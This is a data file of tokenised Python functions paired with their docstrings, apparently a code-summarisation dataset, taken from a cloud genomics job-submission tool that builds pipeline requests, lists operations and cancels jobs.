{"signature": "@classmethod<EOL><INDENT>def _build_pipeline_docker_command(cls, script_name, inputs, outputs, envs):<DEDENT>", "body": "<EOL>recursive_input_dirs = [<EOL>var for var in inputs if var.recursive and var.value<EOL>]<EOL>recursive_output_dirs = [<EOL>var for var in outputs if var.recursive and var.value<EOL>]<EOL>install_cloud_sdk = '<STR_LIT>'<EOL>if recursive_input_dirs or recursive_output_dirs:<EOL><INDENT>install_cloud_sdk = INSTALL_CLOUD_SDK<EOL><DEDENT>export_input_dirs = '<STR_LIT>'<EOL>copy_input_dirs = '<STR_LIT>'<EOL>if recursive_input_dirs:<EOL><INDENT>export_input_dirs = providers_util.build_recursive_localize_env(<EOL>providers_util.DATA_MOUNT_POINT, inputs)<EOL>copy_input_dirs = providers_util.build_recursive_localize_command(<EOL>providers_util.DATA_MOUNT_POINT, inputs, job_model.P_GCS)<EOL><DEDENT>export_output_dirs = '<STR_LIT>'<EOL>copy_output_dirs = '<STR_LIT>'<EOL>if recursive_output_dirs:<EOL><INDENT>export_output_dirs = providers_util.build_recursive_gcs_delocalize_env(<EOL>providers_util.DATA_MOUNT_POINT, outputs)<EOL>copy_output_dirs = providers_util.build_recursive_delocalize_command(<EOL>providers_util.DATA_MOUNT_POINT, outputs, job_model.P_GCS)<EOL><DEDENT>docker_paths = [<EOL>var.docker_path if var.recursive else os.path.dirname(var.docker_path)<EOL>for var in outputs<EOL>if var.value<EOL>]<EOL>mkdirs = '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>'.format(providers_util.DATA_MOUNT_POINT, path)<EOL>for path in docker_paths<EOL>])<EOL>inputs_with_wildcards = [<EOL>var for var in inputs if not var.recursive and var.docker_path and<EOL>'<STR_LIT:*>' in os.path.basename(var.docker_path)<EOL>]<EOL>export_inputs_with_wildcards = '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>'.format(var.name, providers_util.DATA_MOUNT_POINT,<EOL>var.docker_path)<EOL>for var in inputs_with_wildcards<EOL>])<EOL>export_empty_envs = '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>'.format(var.name)<EOL>for var in envs | inputs | outputs<EOL>if not var.value<EOL>])<EOL>return DOCKER_COMMAND.format(<EOL>mk_runtime_dirs=MK_RUNTIME_DIRS_COMMAND,<EOL>script_path='<STR_LIT>' % (providers_util.SCRIPT_DIR, script_name),<EOL>install_cloud_sdk=install_cloud_sdk,<EOL>export_inputs_with_wildcards=export_inputs_with_wildcards,<EOL>export_input_dirs=export_input_dirs,<EOL>copy_input_dirs=copy_input_dirs,<EOL>mk_output_dirs=mkdirs,<EOL>export_output_dirs=export_output_dirs,<EOL>export_empty_envs=export_empty_envs,<EOL>tmpdir=providers_util.TMP_DIR,<EOL>working_dir=providers_util.WORKING_DIR,<EOL>copy_output_dirs=copy_output_dirs)<EOL>", "docstring": "Return a multi-line string of the full pipeline docker command.", "id": "f6197:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def build_pipeline(cls, project, zones, min_cores, min_ram, disk_size,<EOL>boot_disk_size, preemptible, accelerator_type,<EOL>accelerator_count, image, script_name, envs, inputs,<EOL>outputs, pipeline_name):<DEDENT>", "body": "if min_cores is None:<EOL><INDENT>min_cores = job_model.DEFAULT_MIN_CORES<EOL><DEDENT>if min_ram is None:<EOL><INDENT>min_ram = job_model.DEFAULT_MIN_RAM<EOL><DEDENT>if disk_size is None:<EOL><INDENT>disk_size = job_model.DEFAULT_DISK_SIZE<EOL><DEDENT>if boot_disk_size is None:<EOL><INDENT>boot_disk_size = job_model.DEFAULT_BOOT_DISK_SIZE<EOL><DEDENT>if preemptible is None:<EOL><INDENT>preemptible = job_model.DEFAULT_PREEMPTIBLE<EOL><DEDENT>docker_command = cls._build_pipeline_docker_command(script_name, inputs,<EOL>outputs, envs)<EOL>input_envs = [{<EOL>'<STR_LIT:name>': SCRIPT_VARNAME<EOL>}] + [{<EOL>'<STR_LIT:name>': env.name<EOL>} for env in envs if env.value]<EOL>input_files = [<EOL>cls._build_pipeline_input_file_param(var.name, var.docker_path)<EOL>for var in inputs<EOL>if not var.recursive and var.value<EOL>]<EOL>output_files = [<EOL>cls._build_pipeline_file_param(var.name, var.docker_path)<EOL>for var in outputs<EOL>if not var.recursive and var.value<EOL>]<EOL>return {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': project,<EOL>'<STR_LIT:name>': pipeline_name,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': min_cores,<EOL>'<STR_LIT>': min_ram,<EOL>'<STR_LIT>': boot_disk_size,<EOL>'<STR_LIT>': preemptible,<EOL>'<STR_LIT>': google_base.get_zones(zones),<EOL>'<STR_LIT>': accelerator_type,<EOL>'<STR_LIT>': accelerator_count,<EOL>'<STR_LIT>': [{<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': disk_size,<EOL>'<STR_LIT>': providers_util.DATA_MOUNT_POINT,<EOL>}],<EOL>},<EOL>'<STR_LIT>': input_envs + input_files,<EOL>'<STR_LIT>': output_files,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': image,<EOL>'<STR_LIT>': docker_command,<EOL>}<EOL>}<EOL>}<EOL>", "docstring": "Builds a pipeline configuration for execution.\n\n        Args:\n          project: string name of project.\n          zones: list of zone names for jobs to be run at.\n          min_cores: int number of CPU cores required per job.\n          min_ram: int GB of RAM required per job.\n          disk_size: int GB of disk to attach under /mnt/data.\n          boot_disk_size: int GB of disk for boot.\n          preemptible: use a preemptible VM for the job\n          accelerator_type: string GCE defined accelerator type.\n          accelerator_count: int number of accelerators of the specified type to\n            attach.\n          image: string Docker image name in which to run.\n          script_name: file name of the script to run.\n          envs: list of EnvParam objects specifying environment variables to set\n            within each job.\n          inputs: list of FileParam objects specifying input variables to set\n            within each job.\n          outputs: list of FileParam objects specifying output variables to set\n            within each job.\n          pipeline_name: string name of pipeline.\n\n        Returns:\n          A nested dictionary with one entry under the key ephemeralPipeline\n          containing the pipeline configuration.", "id": "f6197:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def build_pipeline_args(cls, project, script, job_params, task_params,<EOL>reserved_labels, preemptible, logging_uri, scopes,<EOL>keep_alive):<DEDENT>", "body": "<EOL>inputs = {}<EOL>inputs.update({SCRIPT_VARNAME: script})<EOL>inputs.update({<EOL>var.name: var.value<EOL>for var in job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>if var.value<EOL>})<EOL>inputs.update({<EOL>var.name: var.uri<EOL>for var in job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>if not var.recursive and var.value<EOL>})<EOL>outputs = {}<EOL>for var in job_params['<STR_LIT>'] | task_params['<STR_LIT>']:<EOL><INDENT>if var.recursive or not var.value:<EOL><INDENT>continue<EOL><DEDENT>if '<STR_LIT:*>' in var.uri.basename:<EOL><INDENT>outputs[var.name] = var.uri.path<EOL><DEDENT>else:<EOL><INDENT>outputs[var.name] = var.uri<EOL><DEDENT><DEDENT>labels = {}<EOL>labels.update({<EOL>label.name: label.value if label.value else '<STR_LIT>'<EOL>for label in (reserved_labels | job_params['<STR_LIT>']<EOL>| task_params['<STR_LIT>'])<EOL>})<EOL>args = {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': project,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': preemptible,<EOL>},<EOL>'<STR_LIT>': inputs,<EOL>'<STR_LIT>': outputs,<EOL>'<STR_LIT>': labels,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:email>': '<STR_LIT:default>',<EOL>'<STR_LIT>': scopes,<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': logging_uri<EOL>},<EOL>}<EOL>}<EOL>if keep_alive:<EOL><INDENT>args['<STR_LIT>'][<EOL>'<STR_LIT>'] = '<STR_LIT>' % keep_alive<EOL><DEDENT>return args<EOL>", "docstring": "Builds pipeline args for execution.\n\n        Args:\n          project: string name of project.\n          script: Body of the script to execute.\n          job_params: dictionary of values for labels, envs, inputs, and outputs\n              for this job.\n          task_params: dictionary of values for labels, envs, inputs, and outputs\n              for this task.\n          reserved_labels: dictionary of reserved labels (e.g. task-id,\n              task-attempt)\n          preemptible: use a preemptible VM for the job\n          logging_uri: path for job logging output.\n          scopes: list of scope.\n          keep_alive: Seconds to keep VM alive on failure\n\n        Returns:\n          A nested dictionary with one entry under the key pipelineArgs containing\n          the pipeline arguments.", "id": "f6197:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _datetime_to_utc_int(date):<DEDENT>", "body": "if date is None:<EOL><INDENT>return None<EOL><DEDENT>epoch = dsub_util.replace_timezone(datetime.utcfromtimestamp(<NUM_LIT:0>), pytz.utc)<EOL>return (date - epoch).total_seconds()<EOL>", "docstring": "Convert the integer UTC time value into a local datetime.", "id": "f6197:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_filter(project,<EOL>status=None,<EOL>user_id=None,<EOL>job_id=None,<EOL>job_name=None,<EOL>labels=None,<EOL>task_id=None,<EOL>task_attempt=None,<EOL>create_time_min=None,<EOL>create_time_max=None):<DEDENT>", "body": "ops_filter = ['<STR_LIT>' % project]<EOL>if status and status != '<STR_LIT:*>':<EOL><INDENT>ops_filter.append('<STR_LIT>' % status)<EOL><DEDENT>if user_id != '<STR_LIT:*>':<EOL><INDENT>ops_filter.append('<STR_LIT>' % user_id)<EOL><DEDENT>if job_id != '<STR_LIT:*>':<EOL><INDENT>ops_filter.append('<STR_LIT>' % job_id)<EOL><DEDENT>if job_name != '<STR_LIT:*>':<EOL><INDENT>ops_filter.append('<STR_LIT>' % job_name)<EOL><DEDENT>if task_id != '<STR_LIT:*>':<EOL><INDENT>ops_filter.append('<STR_LIT>' % task_id)<EOL><DEDENT>if task_attempt != '<STR_LIT:*>':<EOL><INDENT>ops_filter.append('<STR_LIT>' % task_attempt)<EOL><DEDENT>if labels:<EOL><INDENT>for l in labels:<EOL><INDENT>ops_filter.append('<STR_LIT>' % (l.name, l.value))<EOL><DEDENT><DEDENT>epoch = dsub_util.replace_timezone(datetime.utcfromtimestamp(<NUM_LIT:0>), pytz.utc)<EOL>if create_time_min:<EOL><INDENT>create_time_min_utc_int = (create_time_min - epoch).total_seconds()<EOL>ops_filter.append('<STR_LIT>' % create_time_min_utc_int)<EOL><DEDENT>if create_time_max:<EOL><INDENT>create_time_max_utc_int = (create_time_max - epoch).total_seconds()<EOL>ops_filter.append('<STR_LIT>' % create_time_max_utc_int)<EOL><DEDENT>return '<STR_LIT>'.join(ops_filter)<EOL>", "docstring": "Return a filter string for operations.list().", "id": "f6197:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def is_pipelines_operation(cls, op):<DEDENT>", "body": "return cls.get_operation_type(<EOL>op) == '<STR_LIT>'<EOL>", "docstring": "Check that an operation is a genomics pipeline run.\n\n        An operation is a Genomics Pipeline run if the request metadata's @type\n        is \"type.googleapis.com/google.genomics.v1alpha2.RunPipelineRequest.\n\n        Args:\n          op: a pipelines operation.\n\n        Returns:\n          Boolean, true if the operation is a RunPipelineRequest.", "id": "f6197:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def is_dsub_operation(cls, op):<DEDENT>", "body": "if not cls.is_pipelines_operation(op):<EOL><INDENT>return False<EOL><DEDENT>for name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if not cls.get_operation_label(op, name):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Determine if a pipelines operation is a dsub request.\n\n        We don't have a rigorous way to identify an operation as being submitted\n        by dsub. Our best option is to check for certain fields that have always\n        been part of dsub operations.\n\n        - labels: job-id, job-name, and user-id have always existed\n        - envs: _SCRIPT has always existed.\n\n        In order to keep a simple heuristic this test only uses labels.\n        Args:\n          op: a pipelines operation.\n\n        Returns:\n          Boolean, true if the pipeline run was generated by dsub.", "id": "f6197:c1:m5"}
{"signature": "@classmethod<EOL><INDENT>def list(cls, service, ops_filter, page_size=<NUM_LIT:0>):<DEDENT>", "body": "page_token = None<EOL>more_operations = True<EOL>documented_default_page_size = <NUM_LIT><EOL>documented_max_page_size = <NUM_LIT><EOL>if not page_size:<EOL><INDENT>page_size = documented_default_page_size<EOL><DEDENT>page_size = min(page_size, documented_max_page_size)<EOL>while more_operations:<EOL><INDENT>api = service.operations().list(<EOL>name='<STR_LIT>',<EOL>filter=ops_filter,<EOL>pageToken=page_token,<EOL>pageSize=page_size)<EOL>response = google_base.Api.execute(api)<EOL>ops = response.get('<STR_LIT>', [])<EOL>for op in ops:<EOL><INDENT>if cls.is_dsub_operation(op):<EOL><INDENT>yield GoogleOperation(op)<EOL><DEDENT><DEDENT>page_token = response.get('<STR_LIT>')<EOL>more_operations = bool(page_token)<EOL><DEDENT>", "docstring": "Gets the list of operations for the specified filter.\n\n        Args:\n          service: Google Genomics API service object\n          ops_filter: string filter of operations to return\n          page_size: the number of operations to requested on each list operation to\n            the pipelines API (if 0 or None, the API default is used)\n\n        Yields:\n          Operations matching the filter criteria.", "id": "f6197:c1:m6"}
{"signature": "def prepare_job_metadata(self, script, job_name, user_id, create_time):", "body": "return google_base.prepare_job_metadata(script, job_name, user_id,<EOL>create_time)<EOL>", "docstring": "Returns a dictionary of metadata fields for the job.", "id": "f6197:c2:m1"}
{"signature": "def _build_pipeline_request(self, task_view):", "body": "job_metadata = task_view.job_metadata<EOL>job_params = task_view.job_params<EOL>job_resources = task_view.job_resources<EOL>task_metadata = task_view.task_descriptors[<NUM_LIT:0>].task_metadata<EOL>task_params = task_view.task_descriptors[<NUM_LIT:0>].task_params<EOL>task_resources = task_view.task_descriptors[<NUM_LIT:0>].task_resources<EOL>script = task_view.job_metadata['<STR_LIT>']<EOL>reserved_labels = google_base.build_pipeline_labels(<EOL>job_metadata, task_metadata, task_id_pattern='<STR_LIT>')<EOL>pipeline = _Pipelines.build_pipeline(<EOL>project=self._project,<EOL>zones=job_resources.zones,<EOL>min_cores=job_resources.min_cores,<EOL>min_ram=job_resources.min_ram,<EOL>disk_size=job_resources.disk_size,<EOL>boot_disk_size=job_resources.boot_disk_size,<EOL>preemptible=job_resources.preemptible,<EOL>accelerator_type=job_resources.accelerator_type,<EOL>accelerator_count=job_resources.accelerator_count,<EOL>image=job_resources.image,<EOL>script_name=script.name,<EOL>envs=job_params['<STR_LIT>'] | task_params['<STR_LIT>'],<EOL>inputs=job_params['<STR_LIT>'] | task_params['<STR_LIT>'],<EOL>outputs=job_params['<STR_LIT>'] | task_params['<STR_LIT>'],<EOL>pipeline_name=job_metadata['<STR_LIT>'])<EOL>logging_uri = task_resources.logging_path.uri<EOL>scopes = job_resources.scopes or google_base.DEFAULT_SCOPES<EOL>pipeline.update(<EOL>_Pipelines.build_pipeline_args(self._project, script.value, job_params,<EOL>task_params, reserved_labels,<EOL>job_resources.preemptible, logging_uri,<EOL>scopes, job_resources.keep_alive))<EOL>return pipeline<EOL>", "docstring": "Returns a Pipeline objects for the job.", "id": "f6197:c2:m2"}
{"signature": "def submit_job(self, job_descriptor, skip_if_output_present):", "body": "<EOL>param_util.validate_submit_args_or_fail(<EOL>job_descriptor,<EOL>provider_name=_PROVIDER_NAME,<EOL>input_providers=_SUPPORTED_INPUT_PROVIDERS,<EOL>output_providers=_SUPPORTED_OUTPUT_PROVIDERS,<EOL>logging_providers=_SUPPORTED_LOGGING_PROVIDERS)<EOL>launched_tasks = []<EOL>requests = []<EOL>for task_view in job_model.task_view_generator(job_descriptor):<EOL><INDENT>job_params = task_view.job_params<EOL>task_params = task_view.task_descriptors[<NUM_LIT:0>].task_params<EOL>outputs = job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>if skip_if_output_present:<EOL><INDENT>if dsub_util.outputs_are_present(outputs):<EOL><INDENT>print('<STR_LIT>')<EOL>continue<EOL><DEDENT><DEDENT>request = self._build_pipeline_request(task_view)<EOL>if self._dry_run:<EOL><INDENT>requests.append(request)<EOL><DEDENT>else:<EOL><INDENT>task_id = self._submit_pipeline(request)<EOL>launched_tasks.append(task_id)<EOL><DEDENT><DEDENT>if self._dry_run:<EOL><INDENT>print(json.dumps(requests, indent=<NUM_LIT:2>, sort_keys=True))<EOL><DEDENT>if not requests and not launched_tasks:<EOL><INDENT>return {'<STR_LIT>': dsub_util.NO_JOB}<EOL><DEDENT>return {<EOL>'<STR_LIT>': job_descriptor.job_metadata['<STR_LIT>'],<EOL>'<STR_LIT>': job_descriptor.job_metadata['<STR_LIT>'],<EOL>'<STR_LIT>': [task_id for task_id in launched_tasks if task_id],<EOL>}<EOL>", "docstring": "Submit the job (or tasks) to be executed.\n\n        Args:\n          job_descriptor: all parameters needed to launch all job tasks\n          skip_if_output_present: (boolean) if true, skip tasks whose output\n            is present (see --skip flag for more explanation).\n\n        Returns:\n          A dictionary containing the 'user-id', 'job-id', and 'task-id' list.\n          For jobs that are not task array jobs, the task-id list should be empty.\n\n        Raises:\n          ValueError: if job resources or task data contain illegal values.", "id": "f6197:c2:m4"}
{"signature": "def lookup_job_tasks(self,<EOL>statuses,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>job_names=None,<EOL>task_ids=None,<EOL>task_attempts=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None,<EOL>max_tasks=<NUM_LIT:0>,<EOL>page_size=<NUM_LIT:0>):", "body": "<EOL>statuses = statuses if statuses else {'<STR_LIT:*>'}<EOL>user_ids = user_ids if user_ids else {'<STR_LIT:*>'}<EOL>job_ids = job_ids if job_ids else {'<STR_LIT:*>'}<EOL>job_names = job_names if job_names else {'<STR_LIT:*>'}<EOL>task_ids = task_ids if task_ids else {'<STR_LIT:*>'}<EOL>task_attempts = task_attempts if task_attempts else {'<STR_LIT:*>'}<EOL>task_ids = {'<STR_LIT>'.format(t) if t.isdigit() else t for t in task_ids}<EOL>if job_ids != {'<STR_LIT:*>'} and job_names != {'<STR_LIT:*>'}:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>labels = labels if labels else set()<EOL>now = datetime.now()<EOL>def _desc_date_sort_key(t):<EOL><INDENT>return now - dsub_util.replace_timezone(t.get_field('<STR_LIT>'), None)<EOL><DEDENT>query_queue = sorting_util.SortedGeneratorIterator(key=_desc_date_sort_key)<EOL>for status, job_id, job_name, user_id, task_id, task_attempt in (<EOL>itertools.product(statuses, job_ids, job_names, user_ids, task_ids,<EOL>task_attempts)):<EOL><INDENT>ops_filter = _Operations.get_filter(<EOL>self._project,<EOL>status=status,<EOL>user_id=user_id,<EOL>job_id=job_id,<EOL>job_name=job_name,<EOL>labels=labels,<EOL>task_id=task_id,<EOL>task_attempt=task_attempt,<EOL>create_time_min=create_time_min,<EOL>create_time_max=create_time_max)<EOL>stream = _Operations.list(self._service, ops_filter, page_size=page_size)<EOL>query_queue.add_generator(stream)<EOL><DEDENT>tasks_yielded = <NUM_LIT:0><EOL>for task in query_queue:<EOL><INDENT>yield task<EOL>tasks_yielded += <NUM_LIT:1><EOL>if <NUM_LIT:0> < max_tasks <= tasks_yielded:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Yields operations based on the input criteria.\n\n        If any of the filters are empty or {'*'}, then no filtering is performed on\n        that field. Filtering by both a job id list and job name list is\n        unsupported.\n\n        Args:\n          statuses: {'*'}, or a list of job status strings to return. Valid\n            status strings are 'RUNNING', 'SUCCESS', 'FAILURE', or 'CANCELED'.\n          user_ids: a list of ids for the user(s) who launched the job.\n          job_ids: a list of job ids to return.\n          job_names: a list of job names to return.\n          task_ids: a list of specific tasks within the specified job(s) to return.\n          task_attempts: a list of specific attempts within the specified tasks(s)\n            to return.\n          labels: a list of LabelParam with user-added labels. All labels must\n                  match the task being fetched.\n          create_time_min: a timezone-aware datetime value for the earliest create\n                           time of a task, inclusive.\n          create_time_max: a timezone-aware datetime value for the most recent\n                           create time of a task, inclusive.\n          max_tasks: the maximum number of job tasks to return or 0 for no limit.\n          page_size: the page size to use for each query to the pipelins API.\n\n        Raises:\n          ValueError: if both a job id list and a job name list are provided\n\n        Yeilds:\n          Genomics API Operations objects.", "id": "f6197:c2:m5"}
{"signature": "def delete_jobs(self,<EOL>user_ids,<EOL>job_ids,<EOL>task_ids,<EOL>labels,<EOL>create_time_min=None,<EOL>create_time_max=None):", "body": "<EOL>tasks = list(<EOL>self.lookup_job_tasks(<EOL>{'<STR_LIT>'},<EOL>user_ids=user_ids,<EOL>job_ids=job_ids,<EOL>task_ids=task_ids,<EOL>labels=labels,<EOL>create_time_min=create_time_min,<EOL>create_time_max=create_time_max))<EOL>print('<STR_LIT>' % len(tasks))<EOL>return google_base.cancel(self._service.new_batch_http_request,<EOL>self._service.operations().cancel, tasks)<EOL>", "docstring": "Kills the operations associated with the specified job or job.task.\n\n        Args:\n          user_ids: List of user ids who \"own\" the job(s) to cancel.\n          job_ids: List of job_ids to cancel.\n          task_ids: List of task-ids to cancel.\n          labels: List of LabelParam, each must match the job(s) to be canceled.\n          create_time_min: a timezone-aware datetime value for the earliest create\n                           time of a task, inclusive.\n          create_time_max: a timezone-aware datetime value for the most recent\n                           create time of a task, inclusive.\n\n        Returns:\n          A list of tasks canceled and a list of error messages.", "id": "f6197:c2:m6"}
{"signature": "def get_field(self, field, default=None):", "body": "metadata = self._op.get('<STR_LIT>')<EOL>value = None<EOL>if field == '<STR_LIT>':<EOL><INDENT>value = self._op['<STR_LIT:name>']<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>'].get('<STR_LIT>')<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = self._operation_status()<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = metadata['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = self._get_operation_input_field_values(metadata, False)<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = {<EOL>k: v<EOL>for k, v in metadata['<STR_LIT>'].items()<EOL>if k not in job_model.RESERVED_LABELS<EOL>}<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = self._get_operation_input_field_values(metadata, True)<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = self._get_operation_output_field_values(metadata)<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = None<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>value = google_base.parse_rfc3339_utc_string(metadata['<STR_LIT>'])<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>start_events = [<EOL>e for e in metadata.get('<STR_LIT>', []) if e['<STR_LIT:description>'] == '<STR_LIT:start>'<EOL>]<EOL>if start_events:<EOL><INDENT>value = google_base.parse_rfc3339_utc_string(<EOL>start_events[-<NUM_LIT:1>]['<STR_LIT>'])<EOL><DEDENT><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>value = google_base.parse_rfc3339_utc_string(metadata['<STR_LIT>'])<EOL><DEDENT><DEDENT>elif field == '<STR_LIT:status>':<EOL><INDENT>value = self._operation_status()<EOL><DEDENT>elif field in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>status, last_update = self._operation_status_message()<EOL>value = status<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>status, last_update = self._operation_status_message()<EOL>value = last_update<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>return _PROVIDER_NAME<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>gce_data = metadata.get('<STR_LIT>', {}).get('<STR_LIT>', {})<EOL>if '<STR_LIT>' in gce_data:<EOL><INDENT>machine_type = gce_data.get('<STR_LIT>').rpartition('<STR_LIT:/>')[<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>machine_type = None<EOL><DEDENT>instance_name = gce_data.get('<STR_LIT>')<EOL>instance_zone = gce_data.get('<STR_LIT>')<EOL>value = {<EOL>'<STR_LIT>': machine_type,<EOL>'<STR_LIT>': instance_name,<EOL>'<STR_LIT>': instance_zone,<EOL>}<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>events = metadata.get('<STR_LIT>', [])<EOL>value = []<EOL>for event in events:<EOL><INDENT>event_value = {<EOL>'<STR_LIT:name>':<EOL>event.get('<STR_LIT:description>', '<STR_LIT>'),<EOL>'<STR_LIT>':<EOL>google_base.parse_rfc3339_utc_string(event['<STR_LIT>'])<EOL>}<EOL>if '<STR_LIT>' in event:<EOL><INDENT>event_value['<STR_LIT>'] = google_base.parse_rfc3339_utc_string(<EOL>event['<STR_LIT>'])<EOL><DEDENT>value.append(event_value)<EOL><DEDENT><DEDENT>elif field in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]:<EOL><INDENT>value = None<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % field)<EOL><DEDENT>return value if value else default<EOL>", "docstring": "Returns a value from the operation for a specific set of field names.\n\n        Args:\n          field: a dsub-specific job metadata key\n          default: default value to return if field does not exist or is empty.\n\n        Returns:\n          A text string for the field or a list for 'inputs'.\n\n        Raises:\n          ValueError: if the field label is not supported by the operation", "id": "f6197:c3:m2"}
{"signature": "def _operation_status(self):", "body": "if not self._op['<STR_LIT>']:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT:error>' not in self._op:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if self._op['<STR_LIT:error>'].get('<STR_LIT:code>', <NUM_LIT:0>) == <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Returns the status of this operation.\n\n        ie. RUNNING, SUCCESS, CANCELED or FAILURE.\n\n        Returns:\n          A printable status string", "id": "f6197:c3:m3"}
{"signature": "def _operation_status_message(self):", "body": "metadata = self._op['<STR_LIT>']<EOL>if not self._op['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' in metadata and metadata['<STR_LIT>']:<EOL><INDENT>last_event = metadata['<STR_LIT>'][-<NUM_LIT:1>]<EOL>msg = last_event['<STR_LIT:description>']<EOL>ds = last_event['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>'<EOL>ds = metadata['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ds = metadata['<STR_LIT>']<EOL>if '<STR_LIT:error>' in self._op:<EOL><INDENT>msg = self._op['<STR_LIT:error>']['<STR_LIT:message>']<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>'<EOL><DEDENT><DEDENT>return (msg, google_base.parse_rfc3339_utc_string(ds))<EOL>", "docstring": "Returns the most relevant status string and last updated date string.\n\n        This string is meant for display only.\n\n        Returns:\n          A printable status string and date string.", "id": "f6197:c3:m4"}
{"signature": "def _get_operation_input_field_values(self, metadata, file_input):", "body": "<EOL>input_args = metadata['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>vals_dict = metadata['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>names = [<EOL>arg['<STR_LIT:name>'] for arg in input_args if ('<STR_LIT>' in arg) == file_input<EOL>]<EOL>return {name: vals_dict[name] for name in names if name in vals_dict}<EOL>", "docstring": "Returns a dictionary of envs or file inputs for an operation.\n\n        Args:\n          metadata: operation metadata field\n          file_input: True to return a dict of file inputs, False to return envs.\n\n        Returns:\n          A dictionary of input field name value pairs", "id": "f6197:c3:m5"}
{"signature": "def error_message(self):", "body": "if '<STR_LIT:error>' in self._op:<EOL><INDENT>if '<STR_LIT>' in self._op['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>job_id = self._op['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>job_id = self._op['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>return '<STR_LIT>' % (job_id,<EOL>self._op['<STR_LIT:error>']['<STR_LIT:code>'],<EOL>self._op['<STR_LIT:error>']['<STR_LIT:message>'])<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Returns an error message if the operation failed for any reason.\n\n        Failure as defined here means; ended for any reason other than 'success'.\n        This means that a successful cancelation will also create an error message\n        here.\n\n        Returns:\n          string, string will be empty if job did not error.", "id": "f6197:c3:m7"}
